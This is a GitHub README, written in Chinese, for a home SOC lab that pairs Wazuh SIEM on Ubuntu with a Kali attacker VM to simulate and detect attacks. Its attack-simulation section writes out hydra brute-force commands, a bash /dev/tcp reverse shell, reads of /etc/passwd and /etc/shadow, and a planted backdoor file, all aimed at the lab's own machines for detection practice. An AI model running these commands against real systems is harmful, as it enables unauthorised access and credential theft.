Umair-farooq-58/home-soc-lab
GitHub: Umair-farooq-58/home-soc-lab
这是一个基于Wazuh和Kali Linux的家庭安全运营中心实验室,用于模拟攻击场景并实现自动化事件响应教育。
Stars: 0 | Forks: 0
# 家庭 SOC 实验室 — Wazuh SIEM + Kali Linux
这是一个完全功能的安全运营中心(SOC)实验室,使用免费和开源工具在笔记本电脑上构建。该实验室模拟真实世界的攻击,并使用带有自动化事件响应的 SIEM 进行检测。
## 实验室功能
- 实时检测暴力破解攻击、端口扫描、反向 Shell 和文件篡改
- 自动将每起攻击映射到 **MITRE ATT&CK 框架**
- 检测到暴力破解时,**通过 iptables 自动封禁攻击者 IP**
- 使用 **auditd** 记录系统上执行的每条命令
- 在自定义 SOC 仪表板上可视化所有内容
## 实验室架构
```
┌─────────────────────┐ ┌─────────────────────┐
│ Ubuntu VM │◄────────│ Kali Linux VM │
│ Wazuh SIEM Server │ │ Attacker Machine │
│ IP: 192.168.x.x │ │ PHANTOM agent │
└─────────────────────┘ └─────────────────────┘
▲
│ Monitors & Alerts
▼
┌─────────────────────┐
│ Wazuh Dashboard │
│ https://localhost │
└─────────────────────┘
```
## 要求
| 组件 | 规格 |
|-----------|------|
| 内存 | 12GB (3GB Ubuntu + 2GB Kali) |
| 虚拟机监控程序 | VMware Workstation / VirtualBox |
| Ubuntu | 22.04 Desktop |
| Kali Linux | 最新版 |
| 网络 | Host-Only + NAT (双网卡) |
## 设置指南
### 阶段 1 — 网络配置
两台虚拟机都需要两个网络适配器:
- **适配器 1:** Host-Only (用于内部实验室通信)
- **适配器 2:** NAT (用于互联网访问)
在 VMware 中:`VM → Settings → Network Adapter`
验证 Ubuntu 是否获取了 IP,在 Ubuntu 终端中运行此命令:
```
ip a
```
记下 `192.X.X.X` IP — 这将成为您的 Wazuh 服务器地址。
### 阶段 2 — 在 Ubuntu 上安装 Wazuh
单个命令安装所有组件(管理器、仪表板、索引器):
```
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash wazuh-install.sh -a
```
耗时 10-15 分钟。完成后,请保存结尾打印出的管理员密码。安装结束时会自动打印:
```
Admin user: admin
Admin password: XXXXXXXXXX
Access: https://192.X.X.X
```
## 可能的错误:
**如果索引器启动失败** (权限问题):
```
sudo chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/
sudo systemctl restart wazuh-indexer
```
**如果磁盘空间不足:**
```
sudo apt autoremove -y && sudo apt clean
```
## 访问仪表板地址:`https://YOUR_UBUNTU_IP(192.X.X.X)`
### 阶段 3 — 将 Kali 作为代理连接
在 Wazuh 仪表板中,转到 `Agents → Deploy new agent`。
根据您的 Linux 发行版和系统架构选择包。
对于基于 Debian 的发行版,如 Kali Linux、Ubuntu 和 Parrot OS,请选择 DEB 包。
#### 复制生成的命令。
在 Kali 上运行复制的命令,完成后运行以下命令:
```
sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
```
验证代理 IP 指向您的 Wazuh 服务器:
```
sudo grep "" /var/ossec/etc/ossec.conf
```
通常,它总是正确的。
如果错误,请编辑它,将地址更改为您的 Ubuntu IP。
在 Kali 终端运行此命令进行编辑:
```
sudo nano /var/ossec/etc/ossec.conf
```
然后重启:
```
sudo systemctl restart wazuh-agent
```
Kali 现在应该在 Wazuh 仪表板中显示为 **活跃** 状态。
### 阶段 4 — 安装 Auditd (深度日志记录)
在 Ubuntu 上安装 auditd 进行内核级命令日志记录:
```
sudo apt install auditd -y
```
添加监控规则,运行此命令:
```
sudo nano /etc/audit/rules.d/audit.rules
```
然后在底部添加以下行:
```
-a always,exit -F arch=b64 -S execve -k command_execution
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_access
-w /bin/bash -p x -k shell_execution
-a always,exit -F arch=b64 -S connect -k network_connect
```
重启 auditd:
```
sudo systemctl restart auditd
sudo systemctl restart wazuh-agent
```
### 您现在可以前往 Wazuh 仪表板并探索不同功能,使用 Kali Linux 运行一些攻击。
### 阶段 5 — 配置主动响应 (暴力破解攻击时自动封禁 IP)
在 Ubuntu 上,编辑 Wazuh 配置:
```
sudo nano /var/ossec/etc/ossec.conf
```
在结束的 `` 标签之前添加以下内容:
```
firewall-drop
firewall-drop
yes
firewall-drop
local
5763
180
```
验证配置:
```
sudo apt install libxml2-utils -y
sudo xmllint --noout /var/ossec/etc/ossec.conf
```
如果没有打印任何内容,则一切“正常”。
重启 Wazuh 管理器:
```
sudo systemctl restart wazuh-manager
```
现在,当暴力破解在 **120 秒内触发 8 次失败的 SSH 尝试** 时,Wazuh 将通过 iptables 自动封禁攻击者的 IP 180 秒。
## ⚔️ 攻击模拟
从浏览器下载 "rockyou.txt"。
### 1. SSH 暴力破解
```
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 ssh://TARGET_IP
```
将 `/usr/share/wordlists/rockyou.txt` 替换为您放置 rockyou.txt 文件的目录。
**检测规则:** 规则 5763 — 触发主动响应并自动封禁 IP。
### 2. Nmap 端口扫描
```
sudo nmap -A -sS -sV -p- TARGET_IP
sudo nmap --script vuln TARGET_IP
```
**检测规则:** 端口扫描检测规则。
### 3. 反向 Shell
在 Kali(监听端):
```
nc -lvnp 4444
```
在 Ubuntu(受害端):
```
bash -i >& /dev/tcp/KALI_IP/4444 0>&1
```
Ubuntu 的终端会消失,连接将转移到 Kali。然后您可以在 Kali 上控制 Ubuntu 的终端。
**检测规则:** Auditd 网络连接规则。
### 4. 后渗透命令 (通过反向 Shell)
```
cat /etc/passwd
cat /etc/shadow
ps aux
netstat -an
```
**检测规则:** Auditd 文件访问监控。
### 5. 文件完整性篡改
```
sudo touch /etc/hacked.txt
sudo touch /bin/backdoor
sudo chmod +x /bin/backdoor
```
**检测规则:** Wazuh FIM (文件完整性监控)。
### 6. FTP 暴力破解
```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://TARGET_IP
```
## 验证主动响应是否正常工作
暴力破解后,检查攻击者 IP 是否被封禁,在 Ubuntu 上运行此命令:
```
sudo iptables -L -n | grep DROP
```
您应该能在 DROP 规则中看到攻击者的 IP。
## 自定义仪表板设置
### 导入预构建的 Wazuh 仪表板:
在 Ubuntu 上运行此命令下载:
```
wget https://packages.wazuh.com/integrations/opensearch/4.x-2.x/dashboards/wz-os-4.x-2.x-dashboards.ndjson
```
转到:`https://YOUR_IP/app/management/opensearch-dashboards/savedObjects`
点击 **导入** → 选择下载的文件。
**推荐的 SOC 仪表板面板:**
- 总警报数
- 警报级别演变
- 主要 MITRE ATT&CK 攻击
- 认证失败
- 认证成功
- 安全警报概览
- 高严重性警报
## MITRE ATT&CK 覆盖范围
| 技术 | ID | 描述 |
|-----------|-----|-------------|
| 暴力破解 | T1110 | 通过 Hydra 进行 SSH 密码喷洒 |
| 暴力破解:密码猜测 | T1110.001 | 凭证访问尝试 |
| 远程服务:SSH | T1021.004 | 通过 SSH 进行横向移动 |
| 命令与脚本 | T1059 | 反向 Shell 执行 |
| 操作系统凭证转储 | T1003 | /etc/shadow 访问尝试 |
| 网络服务扫描 | T1046 | Nmap 端口扫描 |
## 🛠️ 故障排除
| 问题 | 修复方法 |
|-------|-----|
| Wazuh 索引器无法启动 | `sudo chown -R wazuh-indexer:wazuh-indexer /etc/wazuh-indexer/` |
| 仪表板显示 "未就绪" | 等待 5 分钟,重启仪表板服务 |
| 代理未连接 | 检查 `/var/ossec/etc/ossec.conf` 中的 `` |
| Hydra 连接被拒绝 | Wazuh 封禁了 IP — 运行 `sudo iptables -F` 解除封禁 |
| 磁盘空间不足 | `sudo apt autoremove -y && sudo apt clean` |
| XML 配置错误 | `sudo xmllint --noout /var/ossec/etc/ossec.conf` |
## 结果

- 生成 **16,755+** 条总警报
- 检测到 **11,206** 次认证失败
- 确认通过 iptables 实现 **自动 IP 封禁**
- 映射了 **11 种 MITRE ATT&CK 技术**
- SOC 仪表板全面运作
## 🔗 资源
- [Wazuh 官方文档](https://documentation.wazuh.com)
- [MITRE ATT&CK 框架](https://attack.mitre.org)
- [Wazuh 主动响应](https://documentation.wazuh.com/current/user-manual/capabilities/active-response/)
## 免责声明
本实验室**仅用于教育目的**。所有攻击均在我拥有系统的隔离虚拟环境中执行。切勿在未经明确许可的情况下在系统上使用这些技术。
*由 🔥 和大量损坏的配置构建*
标签:AMSI绕过, auditd审计, CTI, ETW劫持, iptables防火墙, MITRE ATT&CK框架, SIEM系统, SOC实验室, Wazuh, 事件响应自动化, 免杀技术, 入侵防御, 反向shell检测, 可视化仪表板, 威胁检测, 安全运营中心, 开源安全工具, 插件系统, 攻击模拟, 文件篡改检测, 日志记录, 暴力破解检测, 端口扫描检测, 网络安全, 网络映射, 自动事件响应, 虚拟机实验室, 逆向工程平台, 隐私保护, 驱动签名利用